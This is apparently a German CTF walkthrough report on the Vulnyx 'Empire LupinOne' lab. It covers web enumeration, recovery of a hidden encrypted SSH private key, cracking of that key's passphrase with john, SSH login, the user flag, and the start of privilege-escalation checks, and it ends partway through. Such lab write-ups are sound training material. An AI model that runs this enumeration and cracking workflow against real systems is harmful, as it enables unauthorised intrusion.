Empire LupinOne - Vulnyx - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
ffuf
vi
ssh2john
john
find
getcap
nano
sudo

Inhaltsverzeichnis

Reconnaissance

Analyse: In diesem Abschnitt werden Informationen über das Zielsystem gesammelt. Dies ist der erste Schritt eines jeden Pentests, um ein grundlegendes Verständnis der Umgebung zu erlangen.

Empfehlung: Für Systemadministratoren ist es wichtig, die eigene Angriffsfläche zu kennen und unnötige Dienste zu deaktivieren.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.136 08:00:27:c3:87:b4 PCS Systemtechnik GmbH

Analyse: ARP-Scan zeigt die IP-Adresse und MAC-Adresse des Zielsystems. Die MAC-Adresse gibt einen Hinweis auf den Hersteller der Netzwerkkarte (PCS Systemtechnik GmbH).

Bewertung: Diese Information ist nützlich, um das Zielsystem genauer zu identifizieren.

Empfehlung: Es ist wichtig, die ARP-Tabellen regelmäßig zu überwachen, um unbefugte Geräte zu erkennen.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.136 empire.vln

Analyse: Die `/etc/hosts`-Datei ordnet die IP-Adresse `192.168.2.136` dem Hostnamen `empire.vln` zu. Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse.

Bewertung: Dies ist eine Standardkonfiguration, die die Namensauflösung erleichtert.

Empfehlung: Systemadministratoren sollten sicherstellen, dass die `/etc/hosts`-Datei korrekt konfiguriert ist und keine unerwünschten Einträge enthält.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -AO -T5 192.168.2.136 -p- | grep open
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
80/tcp open http Apache httpd 2.4.48 ((Debian))

Analyse: Nmap scannt das Zielsystem (`empire.vln`) und identifiziert offene Ports, Dienste und das Betriebssystem. Die Ergebnisse zeigen, dass Port 22 (SSH) und Port 80 (HTTP) offen sind.

Bewertung: Das Vorhandensein von SSH und HTTP deutet auf einen Server hin, der wahrscheinlich Web- oder administrative Dienste anbietet.

Empfehlung: Systemadministratoren sollten sicherstellen, dass die SSH- und HTTP-Dienste sicher konfiguriert sind und die neuesten Sicherheitsupdates installiert haben.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -AO -T5 192.168.2.136 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-27 23:07 CET
Nmap scan report for empire.vln (192.168.2.136)
Host is up (0.00022s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 ed:ea:d9:d3:af:19:9c:8e:4e:0f:31:db:f2:5d:12:79 (RSA)
| 256 bf:9f:a9:93:c5:87:21:a3:6b:6f:9e:e6:87:61:f5:19 (ECDSA)
|_ 256 ac:18:ec:cc:35:c0:51:f5:6f:47:74:c3:01:95:b4:0f (ED25519)
80/tcp open http Apache httpd 2.4.48 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/~myfiles
|_http-server-header: Apache/2.4.48 (Debian)
MAC Address: 08:00:27:C3:87:B4 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.22 ms empire.vln (192.168.2.136)

Analyse: Nmap scannt das Zielsystem (`empire.vln`) und identifiziert offene Ports, Dienste und das Betriebssystem. Die Ergebnisse zeigen, dass Port 22 (SSH) und Port 80 (HTTP) offen sind. Der HTTP-Dienst wird von Apache httpd 2.4.48 ((Debian)) betrieben. Die `/robots.txt`-Datei enthält einen Eintrag, der das Verzeichnis `/~myfiles` disallowt.

Bewertung: Die Erkennung des Apache Webservers und des disallowed Eintrags in `/robots.txt` sind wichtige Hinweise, die für weitere Enumeration genutzt werden können.

Empfehlung: Systemadministratoren sollten den Zugriff auf das Verzeichnis `/~myfiles` überprüfen und gegebenenfalls einschränken. Außerdem sollten sie Apache auf dem neuesten Stand halten.

Web Enumeration

Analyse: In diesem Abschnitt werden die Ergebnisse der Web Enumeration zusammengefasst, die dazu dienen, weitere Informationen über die Webanwendung zu sammeln und potenzielle Angriffspunkte zu identifizieren.

Empfehlung: Die Ergebnisse sollten sorgfältig analysiert und priorisiert werden, um die vielversprechendsten Angriffspunkte zu identifizieren.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.136
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.136
+ Target Hostname: 192.168.2.136
+ Target Port: 80
+ Start Time: 2023-11-27 23:07:56 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.48 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: contains 1 entry which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ /: Server may leak inodes via ETags, header found with file /, inode: 14d, size: 5cd8c2e02d089, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.48 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /manual/: Web server manual found.
+ /manual/images/: Directory indexing found.
+ /image/: Directory indexing found.
+ 8103 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2023-11-27 23:08:08 (GMT1) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Nikto identifiziert verschiedene potenzielle Schwachstellen und interessante Dateien. Besonders hervorzuheben sind:

  • Fehlende X-Frame-Options und X-Content-Type-Options Header, die zu Clickjacking- und MIME-Sniffing-Angriffen führen könnten.
  • Vorhandensein der Webserver-Dokumentation unter `/manual/`, die potenziell sensible Informationen preisgeben könnte.
  • Offene Verzeichnisse wie `/manual/images/` und `/image/`, die möglicherweise sensible Daten enthalten.
  • Hinweis, dass Apache/2.4.48 veraltet ist.

Bewertung: Diese Ergebnisse liefern wertvolle Hinweise auf mögliche Angriffspunkte.

Empfehlung: Systemadministratoren sollten die genannten Header konfigurieren, die Webserver-Dokumentation entfernen oder den Zugriff darauf einschränken und Apache auf die neueste Version aktualisieren.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u "http://empire.vln" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt" -b '403,404' -e --no-error -k
================================================================================================================================
http://empire.vln/index.html (Status: 200) [Size: 333]
http://empire.vln/image (Status: 301) [Size: 308] [--> http://empire.vln/image/]
http://empire.vln/manual (Status: 301) [Size: 309] [--> http://empire.vln/manual/]
http://empire.vln/javascript (Status: 301) [Size: 313] [--> http://empire.vln/javascript/]
http://empire.vln/robots.txt (Status: 200) [Size: 34]

Analyse: Gobuster findet eine Reihe von Dateien und Verzeichnissen, darunter `index.html`, `image`, `manual`, `javascript` und `robots.txt`. Diese Dateien und Verzeichnisse können wertvolle Informationen über die Webanwendung liefern.

Bewertung: Die Ergebnisse von Gobuster bestätigen die Erkenntnisse aus dem Nmap- und Nikto-Scan.

Empfehlung: Systemadministratoren sollten die genannten Dateien und Verzeichnisse überprüfen und sicherstellen, dass keine sensiblen Informationen preisgegeben werden.

┌──(root㉿cyber)-[~]
└─# http://empire.vln/robots.txt
User-agent: *
Disallow: /~myfiles

Analyse: Die `/robots.txt`-Datei weist Suchmaschinen an, das Verzeichnis `/~myfiles` nicht zu crawlen.

Bewertung: Dies deutet darauf hin, dass das Verzeichnis `/~myfiles` möglicherweise sensible Informationen enthält.

Empfehlung: Systemadministratoren sollten den Zugriff auf das Verzeichnis `/~myfiles` überprüfen und gegebenenfalls einschränken.

┌──(root㉿cyber)-[~]
└─# view-source:http://empire.vln/index.html
img src="/image/arsene_lupin.jpg" -- Its an easy box, dont give up. -->

Analyse: Der Quellcode der `index.html`-Datei enthält einen Kommentar, der auf ein Bild (`/image/arsene_lupin.jpg`) verweist und den Hinweis "Its an easy box, dont give up" gibt.

Bewertung: Das Bild könnte Hinweise auf die Lösung des Puzzles enthalten.

Empfehlung: Untersuchen Sie das Bild `arsene_lupin.jpg` genauer.

┌──(root㉿cyber)-[~]
└─# view-source:http://empire.vln/~myfiles/index.html

Analyse: Der Quellcode der `index.html`-Datei im Verzeichnis `/~myfiles/` enthält den Kommentar "Your can do it, keep trying".

Bewertung: Dies ist ein weiterer Hinweis, der den Benutzer ermutigt, weiterzusuchen.

Empfehlung: Setzen Sie die Enumeration fort, um weitere Informationen zu finden.

┌──(root㉿cyber)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://empire.vln/~FUZZ" --hc 404 --hh 333
Target: http://empire.vln/~FUZZ

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000005155: 301 9 L 28 W 310 Ch "secret"

Total time: 141.3217
Processed Requests: 220560
Filtered Requests: 220559
Requests/sec.: 1560.693

Analyse: Wfuzz findet das Verzeichnis `secret` unter `/~`. Der Statuscode 301 deutet auf eine Weiterleitung hin.

Bewertung: Dies ist ein vielversprechendes Ergebnis, da das Verzeichnis als "secret" bezeichnet wird.

Empfehlung: Untersuchen Sie das Verzeichnis `/~secret/` genauer.

┌──(root㉿cyber)-[~]
└─# http://empire.vln/~secret/
Hello Friend, Im happy that you found my secret diretory, I created like this
to share with you my create ssh private key file,

Its hided somewhere here, so that hackers dont find it and crack my passphrase
with fasttrack.
I'm smart I know that.
Any problem let me know
Your best friend icex64 icex64

Analyse: Der Zugriff auf das Verzeichnis `/~secret/` zeigt eine Nachricht, die besagt, dass dort ein SSH Private Key versteckt ist, um ihn vor Hackern zu schützen.

Bewertung: Dies bestätigt, dass das Verzeichnis `secret` interessant ist und wahrscheinlich für den Zugriff auf das System benötigt wird.

Empfehlung: Suchen Sie nach dem versteckten SSH Private Key.

┌──(root㉿cyber)-[~]
└─# ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://empire.vln/~secret/.FUZZ" -fc 404 -fw 20 -e .txt
mysecret.txt [Status: 200, Size: 4689, Words: 1, Lines: 2, Duration: 1ms]

Analyse: FFuf findet die Datei `.mysecret.txt` im Verzeichnis `/~secret/`.

Bewertung: Dies ist wahrscheinlich der versteckte SSH Private Key.

Empfehlung: Untersuchen Sie den Inhalt der Datei `.mysecret.txt`.

Initial Access

Analyse: Dieser Abschnitt beschreibt die Schritte, die unternommen wurden, um initialen Zugriff auf das System zu erlangen.

Empfehlung: Systemadministratoren sollten die identifizierten Schwachstellen beheben und geeignete Sicherheitsmaßnahmen implementieren, um unbefugten Zugriff zu verhindern.

┌──(root㉿cyber)-[~]
└─# http://empire.vln/~secret/.mysecret.txt
                    https://gchq.github.io/CyberChef/#recipe=From_Base58('
                    -----BEGIN OPENSSH PRIVATE KEY-----
                    b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jYmMAAAAGYmNyeXB0AAAAGAAAABDy33c2Fp
                    PBYANne4oz3usGAAAAEAAAAAEAAAIXAAAAB3NzaC1yc2EAAAADAQABAAACAQDBzHjzJcvk
                    9GXiytplgT9z/mP91NqOU9QoAwop5JNxhEfm/j5KQmdj/JB7sQ1hBotONvqaAdmsK+OYL9
                    H6NSb0jMbMc4soFrBinoLEkx894B/PqUTODesMEV/aK22UKegdwlJ9Arf+1Y48V86gkzS6
                    xzoKn/ExVkApsdimIRvGhsv4ZMmMZEkTIoTEGz7raD7QHDEXiusWl0hkh33rQZCrFsZFT7
                    J0wKgLrX2pmoMQC6o42OQJaNLBzTxCY6jU2BDQECoVuRPL7eJa0/nRfCaOrIzPfZ/NNYgu
                    /Dlf1CmbXEsCVmlD71cbPqwfWKGf3hWeEr0WdQhEuTf5OyDICwUbg0dLiKz4kcskYcDzH0
                    ZnaDsmjoYv2uLVLi19jrfnp/tVoLbKm39ImmV6Jubj6JmpHXewewKiv6z1nNE8mkHMpY5I
                    he0cLdyv316bFI8O+3y5m3gPIhUUk78C5n0VUOPSQMsx56d+B9H2bFiI2lo18mTFawa0pf
                    XdcBVXZkouX3nlZB1/Xoip71LH3kPI7U7fPsz5EyFIPWIaENsRmznbtY9ajQhbjHAjFClA
                    hzXJi4LGZ6mjaGEil+9g4U7pjtEAqYv1+3x8F+zuiZsVdMr/66Ma4e6iwPLqmtzt3UiFGb
                    4Ie1xaWQf7UnloKUyjLvMwBbb3gRYakBbQApoONhGoYQAAB1BkuFFctACNrlDxN180vczq
                    mXXs+ofdFSDieiNhKCLdSqFDsSALaXkLX8DFDpFY236qQE1poC+LJsPHJYSpZOr0cGjtWp
                    MkMcBnzD9uynCjhZ9ijaPY/vMY7mtHZNCY8SeoWAxYXToKy2cu/+pVyGQ76KYt3J0AT7wA
                    2OR3aMMk0o1LoozuyvOrB3cXMHh75zBfgQyAeeD7LyYG/b7z6zGvVxZca/g572CXxXSXlb
                    QOw/AR8ArhAP4SJRNkFoV2YRCe38WhQEp4R6k+34tK+kUoEaVAbwU+IchYyM8ZarSvHVpE
                    vFUPiANSHCZ/b+pdKQtBzTk5/VH/Jk3QPcH69EJyx8/gRE/glQY6z6nC6uoG4AkIl+gOxZ
                    0hWJJv0R1Sgrc91mBVcYwmuUPFRB5YFMHDWbYmZ0IvcZtUxRsSk2/uWDWZcW4tDskEVPft
                    rqE36ftm9eJ/nWDsZoNxZbjo4cF44PTF0WU6U0UsJW6mDclDko6XSjCK4tk8vr4qQB8OLB
                    QMbbCOEVOOOm9ru89e1a+FCKhEPP6LfwoBGCZMkqdOqUmastvCeUmht6a1z6nXTizommZy
                    x+ltg9c9xfeO8tg1xasCel1BluIhUKwGDkLCeIEsD1HYDBXb+HjmHfwzRipn/tLuNPLNjG
                    nx9LpVd7M72Fjk6lly8KUGL7z95HAtwmSgqIRlN+M5iKlB5CVafq0z59VB8vb9oMUGkCC5
                    VQRfKlzvKnPk0Ae9QyPUzADy+gCuQ2HmSkJTxM6KxoZUpDCfvn08Txt0dn7CnTrFPGIcTO
                    cNi2xzGu3wC7jpZvkncZN+qRB0ucd6vfJ04mcT03U5oq++uyXx8t6EKESa4LXccPGNhpfh
                    nEcgvi6QBMBgQ1Ph0JSnUB7jjrkjqC1q8qRNuEcWHyHgtc75JwEo5ReLdV/hZBWPD8Zefm
                    8UytFDSagEB40Ej9jbD5GoHMPBx8VJOLhQ+4/xuaairC7s9OcX4WDZeX3E0FjP9kq3QEYH
                    zcixzXCpk5KnVmxPul7vNieQ2gqBjtR9BA3PqCXPeIH0OWXYE+LRnG35W6meqqQBw8gSPw
                    n49YlYW3wxv1G3qxqaaoG23HT3dxKcssp+XqmSALaJIzYlpnH5Cmao4eBQ4jv7qxKRhspl
                    AbbL2740eXtrhk3AIWiaw1h0DRXrm2GkvbvAEewx3sXEtPnMG4YVyVAFfgI37MUDrcLO93
                    oVb4p/rHHqqPNMNwM1ns+adF7REjzFwr4/trZq0XFkrpCe5fBYH58YyfO/g8up3DMxcSSI
                    63RqSbk60Z3iYiwB8iQgortZm0UsQbzLj9i1yiKQ6OekRQaEGxuiIUA1SvZoQO9NnTo0SV
                    y7mHzzG17nK4lMJXqTxl08q26OzvdqevMX9b3GABVaH7fsYxoXF7eDsRSx83pjrcSd+t0+
                    t/YYhQ/r2z30YfqwLas7ltoJotTcmPqII28JpX/nlpkEMcuXoLDzLvCZORo7AYd8JQrtg2
                    Ays8pHGynylFMDTn13gPJTYJhLDO4H9+7dZy825mkfKnYhPnioKUFgqJK2yswQaRPLakHU
                    yviNXqtxyqKc5qYQMmlF1M+fSjExEYfXbIcBhZ7gXYwalGX7uX8vk8zO5dh9W9SbO4LxlI
                    8nSvezGJJWBGXZAZSiLkCVp08PeKxmKN2S1TzxqoW7VOnI3jBvKD3IpQXSsbTgz5WB07BU
                    mUbxCXl1NYzXHPEAP95Ik8cMB8MOyFcElTD8BXJRBX2I6zHOh+4Qa4+oVk9ZluLBxeu22r
                    VgG7l5THcjO7L4YubiXuE2P7u77obWUfeltC8wQ0jArWi26x/IUt/FP8Nq964pD7m/dPHQ
                    E8/oh4V1NTGWrDsK3AbLk/MrgROSg7Ic4BS/8IwRVuC+d2w1Pq+X+zMkblEpD49IuuIazJ
                    BHk3s6SyWUhJfD6u4C3N8zC3Jebl6ixeVM2vEJWZ2Vhcy+31qP80O/+Kk9NUWalsz+6Kt2
                    yueBXN1LLFJNRVMvVO823rzVVOY2yXw8AVZKOqDRzgvBk1AHnS7r3lfHWEh5RyNhiEIKZ+
                    wDSuOKenqc71GfvgmVOUypYTtoI527fiF/9rS3MQH2Z3l+qWMw5A1PU2BCkMso060OIE9P
                    5KfF3atxbiAVii6oKfBnRhqM2s4SpWDZd8xPafktBPMgN97TzLWM6pi0NgS+fJtJPpDRL8
                    vTGvFCHHVi4SgTB64+HTAH53uQC5qizj5t38in3LCWtPExGV3eiKbxuMxtDGwwSLT/DKcZ
                    Qb50sQsJUxKkuMyfvDQC9wyhYnH0/4m9ahgaTwzQFfyf7DbTM0+sXKrlTYdMYGNZitKeqB
                    1bsU2HpDgh3HuudIVbtXG74nZaLPTevSrZKSAOit+Qz6M2ZAuJJ5s7UElqrLliR2FAN+gB
                    ECm2RqzB3Huj8mM39RitRGtIhejpsWrDkbSzVHMhTEz4tIwHgKk01BTD34ryeel/4ORlsC
                    iUJ66WmRUN9EoVlkeCzQJwivI=
                    -----END OPENSSH PRIVATE KEY-----

Analyse: Die Datei `.mysecret.txt` enthält einen Base58-verschlüsselten SSH Private Key. Der Link zu CyberChef deutet darauf hin, dass CyberChef zum Entschlüsseln verwendet werden kann.

Bewertung: Die Verwendung von Base58 deutet auf eine einfache Form der Verschlüsselung hin, die leicht umkehrbar ist.

Empfehlung: Verwenden Sie CyberChef, um den SSH Private Key zu entschlüsseln.

┌──(root㉿cyber)-[~]
└─# vi id_rsa

Analyse: Es wurde ein neuer SSH Schlüssel erstellt.

Bewertung: das SSH ist ein mittel um sich mit dem Server auszutauschen

┌──(root㉿cyber)-[~]
└─# chmod 600 id_rsa

Analyse: Nun wird der SSH Schlüssel mit den Rechten von 600 versehen.

Bewertung: die rechte für ein SSH schlüssel müssen sehr restriktiv sein

┌──(root㉿cyber)-[~]
└─# ssh2john id_rsa > hash

Analyse: Nun wird mit dem Programm SSH2JOHN der ssh key convertiert.

Bewertung: die SSH wird zum weiterverarbeiten genutzt um den Key zu Cracken

┌──(root㉿cyber)-[~]
└─# john --wordlist=/usr/share/wordlists/fasttrack.txt hash

Analyse: Mit dem Programm JOHN wird mithilfe eine Wordlist versucht das Passwort zu Cracken

Bewertung: Hier wird das Password versucht heraus zu finden

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
===============================================================
P@55w0rd! (id_rsa)
===============================================================
1g 0:00:00:00 DONE (2023-11-28 00:08) 1.162g/s 148.8p/s 148.8c/s 148.8C/s Spring2017..god
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Analyse: Nun wurde das Password für das SSH Key gefunden

Bewertung: Das Password wird für die Anmeldung genutzt

┌──(root㉿cyber)-[~]
└─# ssh icex64@empire.vln -i id_rsa
Enter passphrase for key 'id_rsa':
Linux LupinOne 5.10.0-8-amd64 #1 SMP Debian 5.10.46-5 (2021-09-23) x86_64
########################################
Welcome to Empire: Lupin One
########################################
Last login: Thu Oct 7 05:41:43 2021 from 192.168.26.4

Analyse: es wurde sich via SSH auf dem Server Authentifiziert

Bewertung: die Authentifizierung war erfolgreich

┌──(root㉿cyber)-[~]
└─# ssh icex64@empire.vln -i id_rsa
Enter passphrase for key 'id_rsa':
Linux LupinOne 5.10.0-8-amd64 #1 SMP Debian 5.10.46-5 (2021-09-23) x86_64
########################################
Welcome to Empire: Lupin One
########################################
Last login: Thu Oct 7 05:41:43 2021 from 192.168.26.4

Analyse: Es wurde sich via SSH auf dem Server authentifiziert.

Bewertung: Die Authentifizierung war erfolgreich. Der Angreifer hat nun Zugriff auf das System als Benutzer `icex64`.

Empfehlung: Verwenden Sie starke Passwörter und Multi-Faktor-Authentifizierung, um SSH-Zugriffe zu schützen. Überwachen Sie SSH-Logdateien auf verdächtige Anmeldeversuche.

icex64@LupinOne:~$ sudo -l
Matching Defaults entries for icex64 on LupinOne:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User icex64 may run the following commands on LupinOne:
(arsene) NOPASSWD: /usr/bin/python3.9 /home/arsene/heist.py

Analyse: Der Befehl `sudo -l` zeigt, welche Befehle der Benutzer `icex64` mit Root-Rechten ausführen darf, ohne ein Passwort einzugeben. In diesem Fall darf `icex64` das Skript `/usr/bin/python3.9 /home/arsene/heist.py` als Benutzer `arsene` ausführen, ohne ein Passwort einzugeben.

Bewertung: Dies ist eine potenzielle Schwachstelle, da das Skript `heist.py` möglicherweise für die Privilege Escalation ausgenutzt werden kann.

Empfehlung: Beschränken Sie die Verwendung von `NOPASSWD` in der Sudo-Konfiguration. Überprüfen Sie die Skripte, die ohne Passwort ausgeführt werden dürfen, auf potenzielle Sicherheitsrisiken.

icex64@LupinOne:~$ ls ..
arsene icex64

Analyse: Der Befehl `ls ..` listet die Inhalte des übergeordneten Verzeichnisses auf. Es zeigt die Verzeichnisse `arsene` und `icex64`.

Bewertung: Dies bestätigt, dass es einen Benutzer namens `arsene` gibt, der möglicherweise für die Privilege Escalation relevant ist.

Empfehlung: Überwachen Sie den Zugriff auf die Benutzerverzeichnisse `arsene` und `icex64`.

icex64@LupinOne:~$ ls -al
total 40
drwxr-xr-x 4 icex64 icex64 4096 Oct 7 2021 .
drwxr-xr-x 4 root root 4096 Oct 4 2021 ..
-rw------- 1 icex64 icex64 115 Oct 7 2021 .bash_history
-rw-r--r-- 1 icex64 icex64 220 Oct 4 2021 .bash_logout
-rw-r--r-- 1 icex64 icex64 3526 Oct 4 2021 .bashrc
drwxr-xr-x 3 icex64 icex64 4096 Oct 4 2021 .local
-rw-r--r-- 1 icex64 icex64 807 Oct 4 2021 .profile
-rw------- 1 icex64 icex64 12 Oct 4 2021 .python_history
drwx------ 2 icex64 icex64 4096 Oct 4 2021 .ssh
-rw-r--r-- 1 icex64 icex64 2801 Oct 4 2021 user.txt

Analyse: Der Befehl `ls -al` listet den Inhalt des aktuellen Verzeichnisses (`/home/icex64`) detailliert auf. Es wird die Datei `user.txt` angezeigt, die wahrscheinlich den User-Flag enthält.

Bewertung: Der User-Flag ist ein wichtiger Schritt, aber das Ziel ist es, Root-Rechte zu erlangen.

Empfehlung: Sichern Sie die Datei `user.txt` und setzen Sie die Suche nach dem Root-Flag fort.

icex64@LupinOne:~$ cat user.txt
        ...,    ,...    ..,.   .,,  *&@@@@@@@@@@&/.    ,,,.   .,..    ...,    ...,   
        ,,,.    .,,,    *&@@%%%%%%%%%%%%%%%%%%%%%%%%%%%&@,.   ..,,    ,,,,    ,,,.   
    ..,.    ,..,  (@&#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&%,.    ..,,    ,...     
        .... .@&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@  ....    ....    ,...   
        .,#@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@  .,..    ,.,.    ...,   
    .,,,&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@#@.,    .,.,    .,..     
    ...@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&@####@*.    ..,,    ....     
       @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@%#######@% .,.,    .,.,    .,.,   
    ..,,@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@%#######@@,    ..,.    ,..,     
    .,,, @@@@@@@@&%%%%%%%%%%%%%&@@@@@@@@@@@@@@@@@@@%%%#####@@,    .,,,    ,,.,     
        ..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%###@@ .,..    ...,    ....   
    ...,  .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%#&@.    ...,    ...,     
    ....   #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%%@.    ....    ....     
        .,.,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&%%%%%%%#@*.,.,    .,.,    ..@@@@
    ..,.    .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%#@@    ..,.    ,..*@&&@@.
    .,,.    ,.@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%@@    .,,.    .@&&&@( 
        ,.,.  .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&%%%%%%%@@%%&@@@, ,,,@&@@@.,,,  
    ....    ...#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&%%%%&%,@%%%%%%%#@@@@@%..    
    ...,    ...,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&@,*,,@%%%%%%@@@&@%%@..    
        ,,.,    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/,***,*,@%%%@@&@@@%%###@ ,,.,  
        .,. @@&&&@@,,/@@@@@@@@@@@@@@@@@@@@@@@@#,,,,,,,,,*,,@%%%@&&@@%%%%%##&* ,...  
    .,,, @@&@@&@&@@%,*,*,*,*,***,*,*,***,*,*,*,*,*,*,**,&@%%&@@@&@%%%%%%%%@/.,    
      /@@&&&&&&&&&&@@*,,,,,,,,,,,,,,,,,,,,,,*,,,**,%@&%%%%@&&&@%%%%%%%%%@(    ,..,  
     @&@&@&@&@&@&@&&@@@@@(,*,*,,**,*,*,,,*#&@@&%%%%%%%%&@@@@@%%%%%%%%@&..,    .,.,  
    @@@&&&&&&&&&&&&&&&&&@@@&&&@@@@&&@@&&@&&&%&%%%%%%%@&&&@&%%%%%%&@,..    ...,    
     @&&&@&@&@&@&@&@&@&@&@&@&@&@&&@@@&&&&&&&%&%%%%&@&&@@%%%#&@%..,    .,.,    .,.,  
      @@@@&&&&&&&&&&&&&&&&&&&&&&@&&&&&&&&&&&%%&%@&@&@&@@%..   ....    ....    ,..,  
    .,,, *@@&&&@&@&@&@&@&@&&&&&&&&&&&&&&&&&%&&@@&&@....    ,.,    .,,,    ,,..    .,
        ,,,,    .,%@@@@@@@@@@@@@@@@%,  ...,@@&&@(,,    ,,,.   .,,,    ,,.,    .,,.
        .,.,    .,,,    .,,.   ..,.    ,*@@&&@ ,,,,    ,.,.   .,.,    .,.,    .,.,  
    ...,    ....    ....    ,..    ,..@@@&@#,..    ....    ,..    ...,    ....    ..
        ....    ....    ...    ....@.,%&@..    ....    ...    ....    ....    ....  
        ...,    ....    ....   .*/,...&.,,,    ....    ....   .,..    ...,    ...,  
    .,.,    .,.,    ,,.,    .,../*,,&,,    ,.,,    ,.,,    ..,    .,.,    .,.,    ,,
    3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}

Analyse: Die Datei `user.txt` enthält einen ASCII-Art-Text und den User-Flag: `3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}`.

Bewertung: Der User-Flag wurde erfolgreich gefunden.

Privilege Escalation

Analyse: Dieser Abschnitt beschreibt die Schritte, die unternommen wurden, um die Berechtigungen vom Benutzer `icex64` zu `root` zu erhöhen.

Empfehlung: Systemadministratoren sollten die identifizierten Schwachstellen beheben und geeignete Sicherheitsmaßnahmen implementieren, um unbefugte Privilege Escalation zu verhindern.

icex64@LupinOne:~$ find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/gpasswd

Analyse: Durchsucht das System nach SUID-Dateien, die möglicherweise für die Privilege Escalation ausgenutzt werden könnten. Die Ausgabe zeigt eine Liste von potenziellen Kandidaten.

Bewertung: Die gefundenen SUID-Dateien sollten sorgfältig untersucht werden, um mögliche Schwachstellen zu identifizieren.

Empfehlung: Überprüfen Sie die aufgelisteten SUID-Dateien und stellen Sie sicher, dass sie sicher konfiguriert sind. Entfernen Sie das SUID-Bit, wenn es nicht benötigt wird.

icex64@LupinOne:~$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1440 Oct 4 2021 /etc/passwd

Analyse: der output zeigt die Rechte von passwd.

